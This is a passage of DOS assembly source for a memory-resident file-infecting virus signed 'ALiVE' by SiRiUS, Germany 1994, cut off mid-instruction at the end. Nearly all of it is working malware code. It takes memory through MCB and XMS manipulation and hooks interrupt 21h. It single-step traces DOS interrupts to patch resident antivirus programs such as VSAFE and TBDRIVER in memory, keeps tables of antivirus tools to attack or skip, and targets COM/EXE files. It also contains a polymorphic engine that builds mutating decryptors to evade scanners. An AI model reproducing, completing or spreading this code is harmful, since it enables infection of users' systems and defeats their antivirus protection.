jc AskForXMS ; CY -> DosVersion kleiner 5.00 ; Žndere BlockGr”sse mov es,cs:[bp+OldPSP] mov ah,4Ah mov bx,0FFFFh int 21h ; Make MCB smaller sub bx,Reserve_Mem +1 mov ah,4Ah int 21h ; Allocate memory for virus mov bx,Reserve_Mem mov ah,48h int 21h mov es,ax jc AskForXMS ; Ist der UMB oberhalb des konv. Speichers ? cmp ax,di ; DI war konventioneller RAM jae UMBAllocated ; Anderenfalls versuche UMB vom HIMEM.SYS zu bekommen ; Frage ob XMS-Manager installiert ist AskForXMS: mov ax,4300h int 2fh cmp al,80h ; 80h=Yes jne NoXMSInstalled ; Finde Himem-EntryPoint (ES:BX) mov ax,4310h int 2fh mov cs:[bp+HimemEP_Ofs],bx mov cs:[bp+HimemEP_Seg],es ; Fordere UMB Speicher vom XMS-Manager an mov ah,10h mov dx,0ffffh ; Gesamten Speicher anfordern call DWord Ptr cs:[bp+HimemEP_Ofs] cmp bl,0b0h ; 0b0h=OK, kleinerer Block vorhanden ; DX=BlockGr”sse jnz NoXMSBlockFree ; Fordere UMB Speicher vom XMS-Manager an (ganzen freien Block) mov ah,10h call DWord Ptr cs:[bp+HimemEP_Ofs] or ax,ax ; AX(0)=Fehler AX(1)=Ok. jz NoXMSBlockFree mov es,bx ; BX=Seg des Blocks UMBAllocated: mov Byte Ptr cs:[bp+Alloc_Status],Allocated_UMB ; Markiere den Virus-MCB als Teil von DOS mov ax,es ; ES=neuer Block dec ax mov ds,ax xor si,si ;;; mov Word Ptr ds:[si+1],8 ; markiere mit DOS ; Lade WirtsMCB nach DS mov ax,cs:[bp+OldPSP] dec ax push ax ; Ist der Virus-MCB der letzte MCB ? cmp Byte Ptr ds:[si],'Z' pop ds jnz NotLastMCB ; nicht letzter ; Markiere den WirtsMCB als letzten ;;; mov Byte Ptr ds:[si],'Z' jmp SHORT DoneMCB NotLastMCB: ; Setze den WirtsMCB auf den Nachfolger von Virus-MCB mov ax,ds:[3] add ax,Reserve_Mem +1 mov ds:[3],ax DoneMCB: NoXMSInstalled: NoXMSBlockFree: ; Wiederherstellen alter MCB-AllokationsStrategie und UMB-Link-Status mov bx,Word Ptr cs:[bp+Mem_Strat] mov ax,5801h int 21h mov bl,Byte Ptr cs:[bp+UMB_Strat] mov bh,0 mov ax,5803h int 21h cmp Byte Ptr cs:[bp+Alloc_Status],Allocated_UMB jz UMBWasAllocated ; Sonst alloziere Speicher durch Manipulation der MCBs mov ds,cs:[bp+OldPSP] push ds pop es ; ES=PSP-Segment des Blocks mov ah,4ah mov bx,-1 int 21h ; BX=>Gr”sse des MCB xor si,si mov ax,Reserve_Mem sub ds:[si+2],ax ; PSP:2 = Seg des ersten freien bytes nach sub bx,ax ; diesem MCB mov ah,4ah ; Verleinere den MCB-Umfang int 21h ; 'Legalisiere' es durch DOS mov ax,ds ; AX=Speicher fr den Virus, DS=PSP add ax,bx ; BX=MCB vor dem Virus mov es,ax ; Vir-MCB wird zu DOS-MCB mov Word Ptr es:[1],-1 ;;;3223 ;;; 8 inc ax ; MCB-->PSP mov es,ax ; ES=PSP des Virus ; Mark the currebnt MCB as last in the MCB-Chain mov ax,ds dec ax mov ds,ax ;;; mov Byte Ptr ds:[si],'Z' UMBWasAllocated: ; Find the Segment of first MCB in the System push es mov ah,52h int 21h ; -> ES:BX mov ax,es:[bx-2] mov cs:[bp+FirstMCB],ax pop es ; Copy virus-body w/o decryptor to TOM, so the offsets in the interrupt ; are equal to those in this sample file push cs pop ds lea si,[bp+Encrypted_Code] mov di,ofs Encrypted_Code mov cx,Nominal_VLength repz movsb push es ; Springe in den VirusCode im hohen Speicher push cs ; Prepare later return to host at lea si,[bp+ofs LowEntryBack] ; LeaveHost push si push es ; Prepare the jump to ES:MemEntryPoint push ofs HighEntry retf ; Jump HighEntry: push cs pop ds call Randomize IF FL_SLEEP ; Set up the "sleeping-time" push 0 pop ds mov ax,word ptr ds:[46ch] ; lo, DX:AX mov dx,word ptr ds:[46ch+2] ; hi add ax,SleepIntervall adc dx,0 push cs pop ds mov Slp_Lo,ax mov Slp_Hi,dx ENDIF ; Increase our generation nr. and handle the stamps mov di,ofs GenNr call Increment4ASCIINumber ; Zero the InfNr mov di,ofs InfNr push cs pop es mov ax,'00' stosw stosw mov si,ofs MyStamp mov di,ofs PaStamp movsw movsw movsw ; Zero spare time xor ax,ax mov TimerCell_1,ax mov TimerCell_2,ax ; RETF nach LowEntryBack im WirtsPSP retf LowEntryBack: ; Set up int 21h handler pop es push 0 pop ds cli mov word ptr ds:[4*21h+2],es mov word ptr ds:[4*21h],ofs NewInt_21 sti ; Restore PSP (=ES=DS) for EXEs ! pop es ds ret Memory_Installation endp Memory_Installation_End equ $ ;============================================================================ ; Trace interrupts 21 and 2F ;============================================================================ Trace_Interrupts proc near ; zero flag mov cs:[bp]+TracerSuccess,0 ; Save the PSP push ds es mov cs:[bp+OldPSP],ds ; Get int 21 handler and save it push 0 pop es les bx,es:[4*21h] mov cs:[bp]+OldInt21_Ofs,bx mov cs:[bp]+OldInt21_Seg,es ; Trace Int-21 ; Int-1 Vektor sichern push 0 pop ds les ax,ds:[1*4] mov cs:[bp]+OldInt1_ofs,ax mov cs:[bp]+OldInt1_seg,es ; Int-1 Vector set lea ax,[bp]+offset n_TracerInt1 mov ds:[1*4] ,ax mov ds:[1*4+2],cs ; Determine the segment of DOS-Kernel push es mov ah,52h ; DOS Segment nach ES:BX int 21h mov cs:[bp]+n_SegDOS,es add cs:[bp]+n_SegDOS,10h ; DOS Segment + 10 Paragraphen pop es ; Int-Emulation pushf ; Start the tracing pushf pop ax or ah,00000001b push ax popf ; Trace into Int-21 mov ah,30h db 2Eh,0FFh,9Eh ; = CALL FAR DWORD PTR CS:[xxxx] dw ofs OldInt21_Ofs push cs pop ds mov ax,cs:[bp]+TracerTmp_Seg mov cs:[bp]+TracedInt21_Seg,ax mov ax,cs:[bp]+TracerTmp_Ofs mov cs:[bp]+TracedInt21_Ofs,ax ; successful cmp cs:[bp]+TracerSuccess,1 jz n_TracerSuccessed ; not successful push cs pop ds mov ax,cs:[bp]+OldInt21_Ofs mov cs:[bp]+TracedInt21_Ofs,ax mov ax,cs:[bp]+OldInt21_Seg mov cs:[bp]+TracedInt21_Seg,ax n_TracerSuccessed: ; zero flag mov cs:[bp]+TracerSuccess,0 ; Trace in den Int-2F pushf push cs lea ax,[bp]+ofs Back_2F_Tracer push ax ; Starte den EinzelschrittModus pushf pop ax or ah,00000001b push ax popf ; Go on! push 0 pop ds push ds:[2fh*4 +2] ; seg push ds:[2fh*4] ; ofs xor ax,ax retf Back_2F_Tracer: push cs pop ds cmp cs:[bp]+TracerSuccess,1 jz Int2F_Tracer_Successed push 0 pop ds push ds:[2fh*4 +2] ; seg push ds:[2fh*4] ; ofs push cs pop ds pop cs:[bp]+TracedInt2F_Ofs pop cs:[bp]+TracedInt2F_Seg jmp Int2F_Tracer_Failed Int2F_Tracer_Successed: mov ax,cs:[bp]+TracerTmp_Seg mov cs:[bp]+TracedInt2F_Seg,ax mov ax,cs:[bp]+TracerTmp_Ofs mov cs:[bp]+TracedInt2F_Ofs,ax Int2F_Tracer_Failed: ; Old Int 1 restore push cs pop ds push 0 pop es lea si,[bp]+offset OldInt1_ofs mov di,4*1 cld movsw movsw ; Restore PSP (=ES=DS) for EXEs ! pop es ds ret Trace_Interrupts endp ;============================================================================ ; Int-01 single-step procedure ;============================================================================ ; SP --> 0000 BP +0 ; 0000 AX +2 ; 0000 IP tr +4 ; 0000 CS tr +6 ; 0000 FL tr +8 n_TracerInt1 proc near push ax si bp es call tn_delta tn_delta: pop si sub si, ofs tn_delta mov bp,sp ; Lade neuen CS ins AX-Register mov ax,ss:[bp+6 +4] ; Patch several AV-TSRs in memory push si cli mov es,ax ; seg mov si,ss:[bp+4 +4] ; ofs ; Patch TBDRIVER cmp word ptr es:[si],05EBh jnz n_noTB_to_patch cmp byte ptr es:[si+2],0EAh jnz n_noTB_to_patch mov word ptr es:[si],9090h n_noTB_to_patch: ; Patch VIRSTOP cmp word ptr es:[si],909Ch jnz n_noVS_to_patch cmp word ptr es:[si+2],2EFBh jnz n_noVS_to_patch mov word ptr es:[si],42EBh n_noVS_to_patch: ; Patch VSAFE (i21+i13) cmp word ptr es:[si] ,45EAh jnz n_noVSF_to_patch cmp word ptr es:[si+5],80FBh jnz n_noVSF_to_patch cmp word ptr es:[si+7],0FAFCh jnz n_noVSF_to_patch mov word ptr es:[si+1],086Dh ; i21 mov word ptr es:[352h],0FBE9h ; i13 mov byte ptr es:[352h+2],01h ; i13 n_noVSF_to_patch: ; Patch VIREX.COM (i21) cmp word ptr es:[si] , 3DFBh jnz n_noVIREX_to_patch cmp word ptr es:[si+2],0FF0Fh jnz n_noVIREX_to_patch cmp word ptr es:[si+4], 0D75h jnz n_noVIREX_to_patch mov byte ptr es:[si+23],00h n_noVIREX_to_patch: sti pop si ; --- ; Lade neuen CS ins AX-Register mov ax,ss:[bp+6 +4] ; Haben wir den EP in DOS gefunden ? cmp ax,0000h org $-2 n_SegDOS dw 0000h ja n_ExitTracer ; Int EP sichern mov cs:[si]+TracerTmp_Seg,ax ; seg mov ax,ss:[bp+4 +4] ; ofs mov cs:[si]+TracerTmp_Ofs,ax mov cs:[si]+TracerSuccess,1 ; Tracer war erfolgreich ; Und das Tracen beenden and Byte Ptr ss:[bp+8+1 +4],11111110b n_ExitTracer: pop es bp si ax iret n_TracerInt1 endp Trace_Interrupts_End equ $ ;---------------------------------------------------------------------------- ;============================================================================ ; Scanns the MCB-Chain (Fields 8-9), Signature in DX ; found --> ZR, else (not found) --> NZ ;============================================================================ ScanMCB proc near pusha push ds push es mov ah,52h int 21h ; -> ES:BX push es:[bx-2] pop ds pop es xor si,si CheckNextMCB: cmp Byte Ptr ds:[si],'M' jz McbOk cmp Byte Ptr ds:[si],'Z' jnz smExit McbOk: cmp Word Ptr ds:[si+8],dx jz ResidentAV mov ax,ds add ax,ds:[si+3] inc ax mov ds,ax jmp short CheckNextMCB ResidentAV: smExit: pop ds popa ret ScanMCB endp ScanMCB_End equ $ ;============================================================================ ; Check if file-name to run/open is (EXE v COM) ! ; Input: DS:SI = Ext Output: Match-->ZR, else -->NZ ;============================================================================ CheckExtensionForExec proc near lodsb and al,0DFH cmp al,'C' jz MaybeCom cmp al,'E' jz MaybeExe ret MaybeCom: lodsw and ax,0DFDFH cmp ax,'MO' ret MaybeExe: lodsw and ax,0DFDFH cmp ax,'EX' ret CheckExtensionForExec endp CheckExtensionForExec_End equ $ ;============================================================================ ; Anti AV CheckTabelle ;============================================================================ ; --> Attack the execution: ; nemesis ; Get it, if you dont have it! ; svs ; ssc ; --> Just dont infect: ; tb* ; f-prot ; -v ; virstop ; clean ; command ; win ; msav AV_Table_Attack equ $ db "NE" db "SS" db "SV" AV_Table_Attack_End equ $ AV_Table_Ignore equ $ db "VP" db "AV" db "VI" db "F-" db "TB" db "IM" db "-D" db "-U" db "-V" db "CL" db "CO" ; COMMAND.COM (bug?) db "MS" db "ME" db "WI" AV_Table_Ignore_End equ $ IF FL_INF_BREAK ;============================================================================ ; Tests if enough time passed since last infection ; Output: CY = Wait NC = Ok, may proceed ;============================================================================ TestSpareIntervall proc near pusha push ds push 0 pop ds mov Word Ptr ax,ds:[46ch] mov Word Ptr bx,ds:[46ch+2] ; BX:AX = Ticks push cs pop ds cmp bx,TimerCell_2 ja HourPassed cmp ax,TimerCell_1 jb WaitMore HourPassed: add ax,SpareTime adc bx,0 mov TimerCell_1,ax mov TimerCell_2,bx clc WaitMore: pop ds popa ret TestSpareIntervall endp ENDIF ;============================================================================ ; Show the Copyright and Exit ;============================================================================ DisplayCopyright proc near cmp Word Ptr ds:[80h],2003h ; = 3,BLANC jnz SkipCR cmp Word Ptr ds:[82h],'LA' ; = 'AL' jnz SkipCR push ds mov ah,9 lea dx,[bp+Sign] push cs pop ds int 21h pop ds mov ax,4c00h int 21h SkipCR: ret DisplayCopyright endp DisplayCopyright_End equ $ ;---------------------------------------------------------------------------- Sign: db 13,10 db "<-<<< ALiVE >>>-> Programmed by SiRiUS, Germany 1994" db 13,10 db 13,10 db "FiRST NAME",9,"[" MyStamp db '000000' db "]" db 13,10 db "LAST NAME",9,"[" PaStamp db '000000' db "]" db 13,10 db "BiRTHDaY",9,"[" Birth db '00-00-00 00:00' db "]" db 13,10 db "HEiR",9,9,"[" InfNr db '0000' db "]" db 13,10 db "SUM",9,9,"[" SumNr db '0000' db "]" db 13,10 db "GENERATioN",9,"[" GenNr db '0000' db "]",0 db 13,10 db "$" ;---------------------------------------------------------------------------- ;============================================================================ ; Input CS:DI = @ of ASCII number to increment ;============================================================================ Increment4ASCIINumber proc near mov cx,3 add di,3 PrevDigit: cmp byte ptr cs:[di],'9' jnz IncNow mov byte ptr cs:[di],'0' dec di loop PrevDigit IncNow: inc byte ptr cs:[di] ret Increment4ASCIINumber_End equ $ Increment4ASCIINumber endp ;============================================================================ ; Get the SFT-@ to ES:DI ; Input: BX=Handle, preserves BX ;============================================================================ Get_SFT proc near ; Get the number of SFT referred to opened file push bx mov ax,1220h ; => ES:DI points to SFT-number call tINT2F mov bl,es:[di] ; Get address of SFT mov ax,1216h ; => ES:DI points to SFT of current open file call tINT2F pop bx ret Get_SFT endp Get_SFT_End equ $ ;============================================================================ ; ; Decrypts a procedure, ; ..executes it.. ; ..and crypts it. ; ; ( its all fully reentrant ! ) ; ;============================================================================ Use_Routine proc near ; SS:[SP+2] = Routine Nr. push ofs Back_From_Routine push 1111h pusha pushf push ds call reloc reloc: pop bx sub bx,ofs reloc ; SS:[SP+2+24] = Routine Nr. mov bp,sp mov ax,ss:[bp+2+24] add ss:[bp+22],bx ; Back_From_Routine-Ofs anpassen mov ah,5 mul ah push cs pop ds mov si,ofs Use_Routine_Table add si,bx add si,ax mov word ptr di,cs:[si.Rout_Offset] add di,bx nop mov bp,sp mov ss:[bp+20],di nop mov word ptr cx,cs:[si.Rout_Length] mov byte ptr al,cs:[si.Rout_Key] cld NextByteOfRoutine_1: xor byte ptr cs:[di],al inc di loop NextByteOfRoutine_1 jmp short $+2 pop ds popf popa ret Back_From_Routine: pusha pushf push ds call reloc2 ; relocate... reloc2: pop bx sub bx,ofs reloc2 push bp ; get Routine Number from stack mov bp,sp mov ax,ss:[bp+18h] pop bp mov ah,5 mul ah push cs pop ds mov si,ofs Use_Routine_Table add si,bx add si,ax mov word ptr di,cs:[si.Rout_Offset] add di,bx in al,40h ; get random value mov byte ptr cs:[si.Rout_Key],al mov word ptr cx,cs:[si.Rout_Length] cld NextByteOfRoutine_2: xor byte ptr cs:[di],al inc di loop NextByteOfRoutine_2 jmp short $+2 ; Correct Stack (prepare) mov ax,ofs poppy add ax,bx mov cs:[poppy][bx],ax pop ds popf popa ; Correct Stack push bp mov bp,sp push ss:[bp+2] pop ss:[bp+4] pop bp pop cs:[1234] org $-2 poppy dw ? ret Use_Routine endp ;---------------------------------------------------------------------------- Routine STRUC Rout_Offset dw ? Rout_Length dw ? Rout_Key db ? Routine ENDS Rout_ReadFromHandle = 0 Rout_GetSetHandleDateTime = 1 Rout_Get_SFT = 2 Rout_TestIfDoStealth = 3 Rout_CheckExtensionForExec = 4 Rout_DosDir = 5 Rout_DosFindFile = 6 Rout_DisplayCopyright = 7 Rout_SeekToEOF = 8 Rout_Trace_Interrupts = 9 Rout_WriteToHandle = 10 Rout_ScanMCB = 11 Use_Routine_Table equ $ Rout_0 Routine Rout_1 Routine Rout_2 Routine Rout_3 Routine Rout_4 Routine Rout_5 Routine Rout_6 Routine Rout_7 Routine Rout_8 Routine Rout_9 Routine Rout_10 Routine Rout_11 Routine Use_Routine_Table_End equ $ ;---------------------------------------------------------------------------- ;==[ include file: SPM33.ASM ]=============================================== ; +------------------------------------------------------------------------+ ; | | ; | SIRIUS POLYMORPHIC MODULE [SPM] (shortened) by SiRiUS 1993-95 | ; | | ; +------------------------------------------------------------------------+ ; Maximal encryption loop length is 127 bytes ; Must be less than (DI - adjust_EncInstruction) ; ! ; Try to VARY the values below, infect files, and test with TBAV's ; heuristcs behaviour. ; ! cmt # -- not needed because the "garbler" is deleted GarbLoopMaxLen = 0 ; 0-30 GarblerLoopsPerCall = 0 ; 0-5 # ;============================================================================ ; START ;============================================================================ ; Signature db "[SPM 93/94/95]",0 SPM proc near cld push cs pop es push cs pop ds call Polymorphism ret SPM endp CMT * SPM-DECRYPTOR structure: ------------------------ Enc_Buffer: mov Index reg,xxxx ^---------- adjust_IndexRegValue mov Enc reg,xxxx garbled cs: xor [Index reg],Enc reg ^------------------------ adjust_EncInstruction ... ... jnz xx ^-------------------- adjust_JumpArgument nop <------------------------ adjust_DecryptorEnd * ;---------------------------------------------------------------------------- ; Processes: n*(PUSH Rw) ; ..or.. ; n*(POP Rw) ;---------------------------------------------------------------------------- GarbType_PART_MULT_PUSHPOP_RW proc near ret cmp FL_PUSHPOP_Direction,1 jz Dir_is_POP Dir_is_PUSH: mov ax,1 ; change it!! 1-16 ... call Random inc ax ;AX:=1..8 mov PUSHPOP_Counter,ax mov cx,ax GT_PMP_1: push cx call Get_AReg ; Does: PUSH Rw add al,PUSH_Rw stosb pop cx loop GT_PMP_1 mov FL_PUSHPOP_Direction,1 ret Dir_is_POP: mov cx,PUSHPOP_Counter GT_PMP_2: push cx call Get_GReg add al,POP_Rw stosb pop cx loop GT_PMP_2 mov FL_PUSHPOP_Direction,0 ret GarbType_PART_MULT_PUSHPOP_RW endp ;============================================================================ POLYMORPHISM proc near ; Init some internal SPM-flags mov FL_PUSHPOP_Direction,0 ; Randomize program start conditions call Randomize ; Reset registers (randomly) call ClearRegisters ; Define encryption registers mov di,ofs DefineRegisters call DefineFreeIndexReg ; Index stosb call DefineFreeCommonReg ; Counter stosb call DefineFreeCommonReg ; Key stosb ; Define garbler word registers call DefineFreeCommonReg stosb call DefineFreeCommonReg stosb call DefineFreeCommonReg stosb call DefineFreeCommonReg stosb ;============================================================================ ;---------------------------------------------------------------------------- ; Polymorphic decryptor construction ;---------------------------------------------------------------------------- ; DI points to the offset where the decryptor is built mov di,ofs Enc_Buffer mov adjust_EncInstruction,di ; Begin creating the decryptor ---------------------------------------------- call GarbType_PART_MULT_PUSHPOP_RW ;---------------------------------------------------------------------------- ; Load Index-Reg ;---------------------------------------------------------------------------- mov al,MOV_RwDw add al,Index_Reg stosb mov adjust_IndexRegValue,di ; save location stosw ;---------------------------------------------------------------------------- call GarbType_PART_MULT_PUSHPOP_RW ;============================================================================ ; Load Key-Reg ;============================================================================ Op_MOV_ByteReg_Byte = 0B0h cmp Key_Reg,__BX ;== 3 jbe Is_FirstFourReg mov al,MOV_RwDw add al,Key_Reg stosb call Full_Random stosw mov EncDX,ax ; save key jmp Load_Key_Done Is_FirstFourReg: ;Make: MOV AL,xx MOV AH,xx call Full_Random ;AX:=key mov EncDX,ax ; save key xchg ax,dx ;DX:=hey mov al,Op_MOV_ByteReg_Byte add al,Key_Reg mov ah,dl stosw ;lo byte ; push dx ; call GarbType_1BYTE ; pop dx mov al,Key_Reg add al,Op_MOV_ByteReg_Byte +4 mov ah,dh stosw ;hi byte Load_Key_Done: ;============================================================================ call GarbType_PART_MULT_PUSHPOP_RW ;============================================================================ ; Load Counter-Reg ;============================================================================ mov al,Counter_Reg mov dx,(Body_VLength/2) +1 call MutatedRegMove ;============================================================================ call GarbType_PART_MULT_PUSHPOP_RW ;============================================================================ ; Construct encryption ;============================================================================ cmp FileType_Byte,File_Mark_COM jz Camouf_COM Camouf_EXE: ;---------------------------------------------------------------------------- ; Nur fr 'camouflage' ! mov si,ofs Camouf mov ax,(EO_Camouf-Camouf)/2 call Random shl ax,1 ; AX:=AX*2 add si,ax movsw ;---------------------------------------------------------------------------- mov adjust_EncInstruction,di ; Save location mov al,2eh ; = 'CS:' stosb jmp Camouf_Exit Camouf_COM: ;---------------------------------------------------------------------------- ; Nur fr 'camouflage' ! mov si,ofs Camouf_1B mov ax,(Camouf_1B_End - Camouf_1B)/2 call Random shl ax,1 ; AX:=AX*2 add si,ax movsw ;---------------------------------------------------------------------------- mov adjust_EncInstruction,di ; Save location Camouf_Exit: ; Load the decryption-method into the decryptor and the encryption-method ; into the encryption-procedure, supported methods are: XOR/ADD/SUB mov si,ofs EncMethodTable mov ax,(EncMethodTableEnd-EncMethodTable) /2 call Random shl ax,1 add si,ax lodsw ; load dec/enc pair stosb ; store dec-byte mov CryptMethod,ah ; store enc-byte ; Referenz: mov al,Key_Reg mov ah,8 mul ah ; AL:=8*AL cmp Index_Reg,__SI jne is_DI add al,__PTR_SI is_DI: cmp Index_Reg,__DI jne is_BX add al,__PTR_DI is_BX: cmp Index_Reg,__BX jne ref_ok add al,__PTR_BX ref_ok: stosb call GarbType_PART_MULT_PUSHPOP_RW ;============================================================================ ; Key-change ;============================================================================ ; Processes: SUB Key_Reg,xxxx v ADD Key_Reg,xxxx ADD_RwRw_ = 05h SUB_RwRw_ = 2dh TWOBYTE_PREFIX = 81h REG_BASIS = 0c0h-5 ; correction xor ax,ax cmp Key_Reg,__AX jz KeyAX mov al,TWOBYTE_PREFIX stosb mov al,REG_BASIS KeyAX: call OneInTwo jz DoSub add al,ADD_RwRw_ mov ChKeyMethod,ADD_RwRw_ jmp short DoEnd DoSub: add al,SUB_RwRw_ mov ChKeyMethod,SUB_RwRw_ Doend: add al,Key_Reg stosb call Full_Random stosw mov ChKeyValue,ax ;---------------------------------------------------------------------------- call GarbType_PART_MULT_PUSHPOP_RW ;============================================================================ ; Increment Index-Register by 2 ;============================================================================ ; INC method call OneInTwo jz Add_Two mov al,INC_Rw add al,Index_Reg stosb stosb jmp Add_Done ; ADD/SUB method Add_Two: cmp Index_Reg,__AX jz A_KeyAX mov al,83h stosb mov al,0C0h add al,Index_Reg stosb mov al,2 stosb jmp Add_Done A_KeyAX: mov al,05h stosb mov ax,2 stosw Add_Done: call GarbType_PART_MULT_PUSHPOP_RW call GarbType_PART_MULT_PUSHPOP_RW ;============================================================================ ; DEcide if use LOOP or JNZ ; if CX then LOOP ;============================================================================ cmp Counter_Reg,__CX jnz DoJNZ ; Ein LOOP wird verwendet Opcode_LOOP = 0E2h mov al,Opcode_LOOP stosb mov adjust_JumpArgument,di stosb jmp short GenLoopEnd ; Ein JNZ wird verwendet ; Konstruiere die Dekrementierung des Z„hler-Register DoJNZ: mov al,DEC_Rw add al,Counter_Reg stosb ;---------------------------------------------------------------------------- ; Konstruiere die Abbruchbedingung ; ; Processes: CMP RW,0 v OR/AND/TEST RW ; ; "CMP RW,00" is 1 byte: 83 ; 2 byte: F8+RW ; 3 byte: 00 ;---------------------------------------------------------------------------- call OneInTwo jz Soap_2 Soap_1: cmp Counter_Reg,__AX jz soa_skip_1 mov al,ByteRegPrefix stosb soa_skip_1: mov si,ofs Inst_Reg_Zero mov ax,Inst_Reg_Zero_End - Inst_Reg_Zero call Random add si,ax lodsb add al,Counter_Reg cmp Counter_Reg,__AX jnz soa_skip_2 sub al,0BBh stosb xor ax,ax stosw jmp EndSoap soa_skip_2: stosb mov al,0 stosb jmp short EndSoap Soap_2: mov si,ofs GarblerInstCheckZero mov ax,GarblerInstCheckZeroEnd - GarblerInstCheckZero call Random add si,ax movsb mov al,Counter_Reg mov ah,9 mul ah add al,Rw1Rw1_Cor stosb EndSoap: ; Construct a JNZ / Garbler must not be called here ! mov al,74h ; = JZ Ende stosb mov ax,1 call Random inc ax push ax add al,2 stosb pop cx uwe: call GarbType_1BYTE loop uwe nCXCnt: mov al,0EBh ; = JMP stosb mov adjust_JumpArgument,di stosb GenLoopEnd: mov adjust_DecryptorEnd,di ; Patch the decryptor to fit all relatives ; calculate and set Enc-Start-argument mov ax,adjust_DecryptorEnd sub ax,ofs Enc_buffer add ax,Victim_Len ;---------------------------------------------------------------------------- dec ax dec ax ;---------------------------------------------------------------------------- cmp FileType_Byte,File_Mark_EXE jz ItsExe add ah,1 ; EP von .COMs ist bei 100h ( =ADD AX,100h ) ItsExe: mov di,adjust_IndexRegValue stosw ; = mov [di],ax ; Calculate and set loop-Argument mov ax,adjust_JumpArgument sub ax,adjust_EncInstruction not ax mov di,adjust_JumpArgument stosb ; = mov Byte Ptr [di],al ; Copy virus-body to buffer mov si,offset Encrypted_code mov di,adjust_DecryptorEnd ; Ofs des n„chsten freien Byte - direkt ; dem Decryptor folgend mov cx,Body_VLength rep movsb ; Encrypt virus-body-copy ( header wont be encrypted ) call Encrypt ; Zero the puffer-end mov di,si mov cx,80 IF NOT FL_RANDOM_FILL mov al,'-' ENDIF ZeroBufferEnd: IF FL_RANDOM_FILL call Full_Random ENDIF stosb loop ZeroBufferEnd ret POLYMORPHISM endp ;============================================================================ ;---------------------------------------------------------------------------- ; Encryption routine. Encrypts the virus-body code ;---------------------------------------------------------------------------- Encrypt proc near clc mov si,adjust_DecryptorEnd mov cx,(Body_VLength/2) +1 mov ax,0000 ORG $-2 EncDX dw 0000 CryptLoop: ;---------------------------------------------------------------------------- ChKeyMethod db 00 ; = Add/Sub AX,xxxx ChKeyValue dw 0000 ; = xxxx ;---------------------------------------------------------------------------- db 2Eh ; = Assume cs: CryptMethod db 00 ; = Word Ptr CS:[SI],AX db 04h inc si inc si loop CryptLoop ret Encrypt endp ;============================================================================ cmt # GarblerType equ $ dw ofs GarbType_JMP_COND dw ofs GarbType_PUSHPOP_RW dw ofs GarbType_1BYTE GarblerTypeEnd equ $ # ClearRegisters proc near mov di,ofs DefineRegisters mov cx,DefineRegistersEnd - DefineRegisters mov al,Free rep stosb ret ClearRegisters endp DefineFreeCommonReg proc near push di othCR: mov si,ofs RegistersAll mov ax,RegistersEnd - RegistersAll call Random add si,ax lodsb ;AL:=[SI] / INC SI mov di,ofs DefineRegisters mov cx,DefineRegistersEnd - DefineRegisters nxtCR: scasb ;cmp AL,[DI] / INC DI jz othCR loop nxtCR pop di ret DefineFreeCommonReg endp DefineFreeIndexReg proc near push di othIR: mov si,ofs RegistersIndex mov ax,RegistersEnd - RegistersIndex call Random add si,ax lodsb mov di,ofs DefineRegisters mov cx,DefineRegistersEnd - DefineRegisters nxtIR: scasb jz othIR loop nxtIR pop di ret DefineFreeIndexReg endp ;============================================================================ cmt # Garbler proc near mov cx,GarblerLoopsPerCall or cx,0 jz Quit_Gb Gb_Cycle: push cx ; Test if enc-loop not to large mov ax,di sub ax,adjust_EncInstruction cmp ax,GarbLoopMaxLen jae Term_Gb mov si,ofs GarblerType mov ax,( GarblerTypeEnd - GarblerType ) / 2 call Random shl ax,1 ; AX:=AX*2 add si,ax call [si] pop cx loop Gb_Cycle ret Term_Gb: pop cx Quit_Gb: ret Garbler endp # ;============================================================================ ; BX must be NOT used to store values ! ; It is used by Get_XReg procedures ! (use DX instead!) ;============================================================================ GarbType_1BYTE proc near mov si,ofs One_Byte_Inst mov ax,EO_One_Byte_Inst - One_Byte_Inst call Random add si,ax movsb ret GarbType_1BYTE endp cmt # ;----------------------------------; ; Processes: PUSH Rw ; ; ; ; POP Rw ; ;----------------------------------; GarbType_PUSHPOP_RW proc near call Get_AReg ; Does: PUSH Rw add al,PUSH_Rw stosb ;; call Garbler ; Recursive call ! call Get_GReg add al,POP_Rw stosb ret GarbType_PUSHPOP_RW endp ;------------------------------------------------; ; Processes: "Jxx SHORT $+1..3" (cond. jump) ; ;------------------------------------------------; GarbType_JMP_COND proc near mov ax,16 call Random add al,70h ; Opcodes: 70h-7fh are cond. short jumps stosb push di ; Save patch ofs stosb ; Here is the argument, which to patch later ;; call Garbler ; Recursive call ! pop ax ; = Patch ofs push di ; Save current ofs push ax ; Save patch ofs sub di,ax mov ax,di pop di ; Restore patch ofs dec ax ; Needed correction stosb ; Patch it ! pop di ; Pop current ofs ret GarbType_JMP_COND endp # cmt # ; Does: LEA AX,[BX+SI] Opcode_LEA_Rw_Ptr = 8dh GarbType_LEA_RW_PTR proc near call GarblerAssumeSeg mov al,Opcode_LEA_Rw_Ptr stosb mov si, ofs PtrRegisters mov ax, PtrRegistersEnd - PtrRegisters call Random add si,ax lodsb mov dl,al call Get_GReg mov ah,8 mul ah add al,dl call OneInThree jz leaBytely jc leaWordly LeaByteNorWord: stosb ret LeaBytely: add al,40h stosb call Full_Random stosb ret LeaWordly: add al,80h stosb call Full_Random stosw ret GarbType_LEA_RW_PTR endp # ; Get a garbler register Get_GReg proc near mov bx,ofs GarblerRegs mov ax,GarblerRegsEnd - GarblerRegs call Random xlatb ret Get_GReg endp ; Get one register (decryptor+garbler) Get_AReg proc near mov bx,ofs DefineRegisters mov ax,DefineRegistersEnd - DefineRegisters call Random xlatb ret Get_AReg endp Get_GAReg proc near cmp LastOpcode,CMP__ jz AReg cmp LastOpcode,TEST__ jz AReg call Get_GReg ret Areg: call Get_AReg ret Get_GAReg endp ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Gives you a segment prefix ;---------------------------------------------------------------------------- GarblerAssumeSeg proc near call OneInTwo jnz gasEnd mov si,ofs GarblerAssumeSegTab mov ax,GarblerAssumeSegTabEnd - GarblerAssumeSegTab call Random add si,ax movsb gasEnd: ret GarblerAssumeSeg endp ADD_AllRwDw = 0C081h ; e.g. ADD CX,1234h SUB_AllRwDw = 0E881h XOR_AllRwDw = 0F081h ;----------------------------------------------------; ; a.) MOV Reg, Wert ; ; b.) MOV Reg, Wert-const. / ADD Reg, const. ; ; c.) MOV Reg, Wert+const. / SUB Reg, const. ; ; d.) MOV Reg, Wert xor const. / XOR reg, const. ; ; e.) LEA Reg, [Wert] ; ;----------------------------------------------------; MutatedRegMove PROC NEAR mov bl,al push ax cmp al,__AX jz mrmMethod_A call Full_Random cmp al,255*4/5 jmp mrmMethod_E cmp al,255*3/5 ja mrmMethod_D cmp 